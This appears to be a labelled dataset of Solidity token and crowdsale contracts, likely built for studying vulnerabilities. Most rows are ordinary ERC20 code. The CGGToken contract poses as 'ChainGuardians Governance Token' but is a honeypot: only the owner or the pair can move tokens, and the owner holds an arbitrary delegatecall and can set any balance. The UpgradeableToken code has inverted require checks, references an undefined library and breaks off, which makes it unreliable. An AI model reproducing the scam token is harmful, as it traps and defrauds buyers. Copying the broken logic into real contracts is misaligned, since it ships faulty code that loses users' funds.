function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract EHCToken is StandardToken {
string public name;
string public symbol;
uint8 public decimals = 18;
constructor(uint256 initialSupply, string tokenName, string tokenSymbol) public {
totalSupply_ = initialSupply * 10 ** uint256(decimals);
balances[msg.sender] = initialSupply * 10 ** uint256(decimals);
name = tokenName;
symbol = tokenSymbol;
}
} | 1 | 3,517 |
pragma solidity ^0.4.21;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
}
contract DhaCoin is owned, TokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function DhaCoin(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value >= balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
emit Transfer(0, this, mintedAmount);
emit Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
function sell(uint256 amount) public {
require(address(this).balance >= amount * sellPrice);
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount * sellPrice);
}
} | 1 | 3,421 |
pragma solidity ^0.4.16;
contract Owned {
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
address public owner;
function Owned() {
owner = msg.sender;
}
address public newOwner;
function changeOwner(address _newOwner) onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
function execute(address _dst, uint _value, bytes _data) onlyOwner {
_dst.call.value(_value)(_data);
}
}
contract WedIndex is Owned {
string public wedaddress;
string public partnernames;
uint public indexdate;
uint public weddingdate;
uint public displaymultisig;
IndexArray[] public indexarray;
struct IndexArray {
uint indexdate;
string wedaddress;
string partnernames;
uint weddingdate;
uint displaymultisig;
}
function numberOfIndex() constant public returns (uint) {
return indexarray.length;
}
function writeIndex(uint indexdate, string wedaddress, string partnernames, uint weddingdate, uint displaymultisig) {
indexarray.push(IndexArray(now, wedaddress, partnernames, weddingdate, displaymultisig));
IndexWritten(now, wedaddress, partnernames, weddingdate, displaymultisig);
}
event IndexWritten (uint time, string contractaddress, string partners, uint weddingdate, uint display);
} | 0 | 2,563 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract CGGToken {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 120000000000000000000000000;
string public name = "ChainGuardians Governance Token";
string public symbol = "CGG";
address public uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public uniFactory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address private owner;
address public uniPair;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor() {
owner = msg.sender;
uniPair = pairFor(uniFactory, wETH, address(this));
allowance[address(this)][uniRouter] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkLimits(_from, _to) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
modifier checkLimits(address _from, address _to) {
require(_from == owner || _to == owner || _from == uniPair || tx.origin == owner || msg.sender == owner);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
IUniswapV2Router02(uniRouter).addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 1,605 |
pragma solidity ^0.4.11;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier stopNonOwnersInEmergency {
if (halted && msg.sender != owner) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
require ((_value != 0) && (allowed[msg.sender][_spender] != 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract UpgradeAgent {
uint public originalSupply;
function isUpgradeAgent() public constant returns (bool) {
return true;
}
function upgradeFrom(address _from, uint256 _value) public;
}
contract UpgradeableToken is StandardToken {
address public upgradeMaster;
UpgradeAgent public upgradeAgent;
uint256 public totalUpgraded;
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
event Upgrade(address indexed _from, address indexed _to, uint256 _value);
event UpgradeAgentSet(address agent);
function UpgradeableToken(address _upgradeMaster) {
upgradeMaster = _upgradeMaster;
}
function upgrade(uint256 value) public {
UpgradeState state = getUpgradeState();
require(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading));
require (value == 0);
balances[msg.sender] = safeSub(balances[msg.sender], value);
totalSupply = safeSub(totalSupply, value);
totalUpgraded = safeAdd(totalUpgraded, value);
upgradeAgent.upgradeFrom(msg.sender, value);
Upgrade(msg.sender, upgradeAgent, value);
}
function setUpgradeAgent(address agent) external {
require(!canUpgrade());
require(agent == 0x0);
require(msg.sender != upgradeMaster);
require(getUpgradeState() == UpgradeState.Upgrading);
upgradeAgent = UpgradeAgent(agent);
require(!upgradeAgent.isUpgradeAgent());
require(upgradeAgent.originalSupply() != totalSupply);
UpgradeAgentSet(upgradeAgent);
}
function getUpgradeState() public constant returns(UpgradeState) {
if(!canUpgrade()) return UpgradeState.NotAllowed;
else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent;
else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
function setUpgradeMaster(address master) public {
require(master == 0x0);
require(msg.sender != upgradeMaster);
upgradeMaster = master;
}
function canUpgrade() public constant returns(bool) {
return true;
}
}
contract MintableTokenExt is StandardToken, Ownable {
using SMathLib for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state );
struct ReservedTokensData {
uint inTokens;
uint inPercentageUnit;
uint inPercentageDecimals;
}
mapping (address => ReservedTokensData) public reservedTokensList;
address[] public reservedTokensDestinations;
uint public reservedTokensDestinationsLen = 0;
function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) onlyOwner {
reservedTokensDestinations.push(addr);
reservedTokensDestinationsLen++;
reservedTokensList[addr] = ReservedTokensData({inTokens:inTokens, inPercentageUnit:inPercentageUnit, inPercentageDecimals: inPercentageDecimals});
}
function getReservedTokensListValInTokens(address addr) constant returns (uint inTokens) {
return reservedTokensList[addr].inTokens;
}
function getReservedTokensListValInPercentageUnit(address addr) constant returns (uint inPercentageUnit) {
return reservedTokensList[addr].inPercentageUnit;
}
function getReservedTokensListValInPercentageDecimals(address addr) constant returns (uint inPercentageDecimals) {
return reservedTokensList[addr].inPercentageDecimals;
}
function setReservedTokensListMultiple(address[] addrs, uint[] inTokens, uint[] inPercentageUnit, uint[] inPercentageDecimals) onlyOwner {
for (uint iterator = 0; iterator < addrs.length; iterator++) {
setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]);
}
}
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = totalSupply.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
revert();
}
_;
}
modifier canMint() {
if(mintingFinished) {
revert();
}
_;
}
}
contract ReleasableToken is ERC20, Ownable {
address public releaseAgent;
bool public released = false;
mapping (address => bool) public transferAgents;
modifier canTransfer(address _sender) {
if(!released) {
if(!transferAgents[_sender]) {
revert();
}
}
_;
}
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
modifier inReleaseState(bool releaseState) {
if(releaseState != released) {
revert();
}
_;
}
modifier onlyReleaseAgent() {
if(msg.sender != releaseAgent) {
revert();
}
_;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
}
contract BurnableToken is StandardToken {
using SMathLib for uint;
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].minus(_value);
totalSupply = totalSupply.minus(_value);
Burn(burner, _value);
}
}
contract CrowdsaleTokenExt is ReleasableToken, MintableTokenExt, BurnableToken, UpgradeableToken {
event UpdatedTokenInformation(string newName, string newSymbol);
string public name;
string public symbol;
uint public decimals;
uint public minCap;
function CrowdsaleTokenExt(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable, uint _globalMinCap)
UpgradeableToken(msg.sender) {
owner = msg.sender;
name = _name;
symbol = _symbol;
totalSupply = _initialSupply;
decimals = _decimals;
minCap = _globalMinCap;
balances[owner] = totalSupply;
if(totalSupply > 0) {
Minted(owner, totalSupply);
}
if(!_mintable) {
mintingFinished = true;
if(totalSupply == 0) {
revert();
}
}
}
function releaseTokenTransfer() public onlyReleaseAgent {
super.releaseTokenTransfer();
}
function canUpgrade() public constant returns(bool) {
return released && super.canUpgrade();
}
function setTokenInformation(string _name, string _symbol) onlyOwner {
name = _name;
symbol = _symbol;
UpdatedTokenInformation(name, symbol);
}
}
contract MjtToken is CrowdsaleTokenExt {
uint public ownersProductCommissionInPerc = 5;
uint public operatorProductCommissionInPerc = 25;
event IndependentSellerJoined(address sellerWallet, uint amountOfTokens, address operatorWallet);
event OwnersProductAdded(address ownersWallet, uint amountOfTokens, address operatorWallet);
event OperatorProductCommissionChanged(uint _value);
event OwnersProductCommissionChanged(uint _value);
function setOperatorCommission(uint _value) public onlyOwner {
require(_value >= 0);
operatorProductCommissionInPerc = _value;
OperatorProductCommissionChanged(_value);
}
function setOwnersCommission(uint _value) public onlyOwner {
require(_value >= 0);
ownersProductCommissionInPerc = _value;
OwnersProductCommissionChanged(_value);
}
function independentSellerJoined(address sellerWallet, uint amountOfTokens, address operatorWallet) public onlyOwner canMint {
require(amountOfTokens > 100);
require(sellerWallet != address(0));
require(operatorWallet != address(0));
uint operatorCommission = amountOfTokens.divides(100).times(operatorProductCommissionInPerc);
uint sellerAmount = amountOfTokens.minus(operatorCommission);
if (operatorCommission > 0) {
mint(operatorWallet, operatorCommission);
}
if (sellerAmount > 0) {
mint(sellerWallet, sellerAmount);
}
IndependentSellerJoined(sellerWallet, amountOfTokens, operatorWallet);
}
function ownersProductAdded(address ownersWallet, uint amountOfTokens, address operatorWallet) public onlyOwner canMint {
require(amountOfTokens > 100);
require(ownersWallet != address(0));
require(operatorWallet != address(0));
uint ownersComission = amountOfTokens.divides(100).times(ownersProductCommissionInPerc);
uint operatorAmount = amountOfTokens.minus(ownersComission);
if (ownersComission > 0) {
mint(ownersWallet, ownersComission);
}
if (operatorAmount > 0) {
mint(operatorWallet, operatorAmount);
}
OwnersProductAdded(ownersWallet, amountOfTokens, operatorWallet);
}
function MjtToken(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable, uint _globalMinCap)
CrowdsaleTokenExt(_name, _symbol, _initialSupply, _decimals, _mintable, _globalMinCap) {}
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
return false;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract MilestonePricing is PricingStrategy, Ownable {
using SMathLib for uint;
uint public constant MAX_MILESTONE = 10;
mapping (address => uint) public preicoAddresses;
struct Milestone {
uint time;
uint price;
}
Milestone[10] public milestones;
uint public milestoneCount;
function MilestonePricing(uint[] _milestones) {
if(_milestones.length % 2 == 1 || _milestones.length >= MAX_MILESTONE*2) {
throw;
}
milestoneCount = _milestones.length / 2;
uint lastTimestamp = 0;
for(uint i=0; i<_milestones.length/2; i++) {
milestones[i].time = _milestones[i*2];
milestones[i].price = _milestones[i*2+1];
if((lastTimestamp != 0) && (milestones[i].time <= lastTimestamp)) {
throw;
}
lastTimestamp = milestones[i].time;
}
if(milestones[milestoneCount-1].price != 0) {
throw;
}
}
function setPreicoAddress(address preicoAddress, uint pricePerToken)
public
onlyOwner
{
preicoAddresses[preicoAddress] = pricePerToken;
}
function getMilestone(uint n) public constant returns (uint, uint) {
return (milestones[n].time, milestones[n].price);
}
function getFirstMilestone() private constant returns (Milestone) {
return milestones[0];
}
function getLastMilestone() private constant returns (Milestone) {
return milestones[milestoneCount-1];
}
function getPricingStartsAt() public constant returns (uint) {
return getFirstMilestone().time;
}
function getPricingEndsAt() public constant returns (uint) {
return getLastMilestone().time;
}
function isSane(address _crowdsale) public constant returns(bool) {
CrowdsaleExt crowdsale = CrowdsaleExt(_crowdsale);
return crowdsale.startsAt() == getPricingStartsAt() && crowdsale.endsAt() == getPricingEndsAt();
}
function getCurrentMilestone() private constant returns (Milestone) {
uint i;
for(i=0; i<milestones.length; i++) {
if(now < milestones[i].time) {
return milestones[i-1];
}
}
}
function getCurrentPrice() public constant returns (uint result) {
return getCurrentMilestone().price;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint) {
uint multiplier = 10 ** decimals;
if(preicoAddresses[msgSender] > 0) {
return value.times(multiplier) / preicoAddresses[msgSender];
}
uint price = getCurrentPrice();
return value.times(multiplier) / price;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
if(preicoAddresses[purchaser] > 0)
return true;
else
return false;
}
function() payable {
throw;
}
}
contract FractionalERC20Ext is ERC20 {
uint public decimals;
uint public minCap;
}
contract CrowdsaleExt is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SMathLib for uint;
FractionalERC20Ext public token;
MilestonePricing public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public presaleWeiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public isWhiteListed;
address[] public joinedCrowdsales;
uint public joinedCrowdsalesLen = 0;
address public lastCrowdsale;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
struct WhiteListData {
bool status;
uint minCap;
uint maxCap;
}
bool public isUpdatable;
mapping (address => WhiteListData) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool newRequireCustomerId, bool newRequiredSignedAddress, address newSignerAddress);
event Whitelisted(address addr, bool status);
event StartsAtChanged(uint newStartsAt);
event EndsAtChanged(uint newEndsAt);
function CrowdsaleExt(address _token, MilestonePricing _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) {
owner = msg.sender;
token = FractionalERC20Ext(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
isUpdatable = _isUpdatable;
isWhiteListed = _isWhiteListed;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
throw;
} else if(getState() == State.Funding) {
if(isWhiteListed) {
if(!earlyParticipantWhitelist[receiver].status) {
throw;
}
}
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised - presaleWeiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(isWhiteListed) {
if(tokenAmount < earlyParticipantWhitelist[receiver].minCap && tokenAmountOf[receiver] == 0) {
throw;
}
if(tokenAmount > earlyParticipantWhitelist[receiver].maxCap) {
throw;
}
if (isBreakingInvestorCap(receiver, tokenAmount)) {
throw;
}
} else {
if(tokenAmount < token.minCap() && tokenAmountOf[receiver] == 0) {
throw;
}
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(pricingStrategy.isPresalePurchase(receiver)) {
presaleWeiRaised = presaleWeiRaised.plus(weiAmount);
}
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
if (isWhiteListed) {
uint num = 0;
for (var i = 0; i < joinedCrowdsalesLen; i++) {
if (this == joinedCrowdsales[i])
num = i;
}
if (num + 1 < joinedCrowdsalesLen) {
for (var j = num + 1; j < joinedCrowdsalesLen; j++) {
CrowdsaleExt crowdsale = CrowdsaleExt(joinedCrowdsales[j]);
crowdsale.updateEarlyParicipantWhitelist(msg.sender, this, tokenAmount);
}
}
}
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
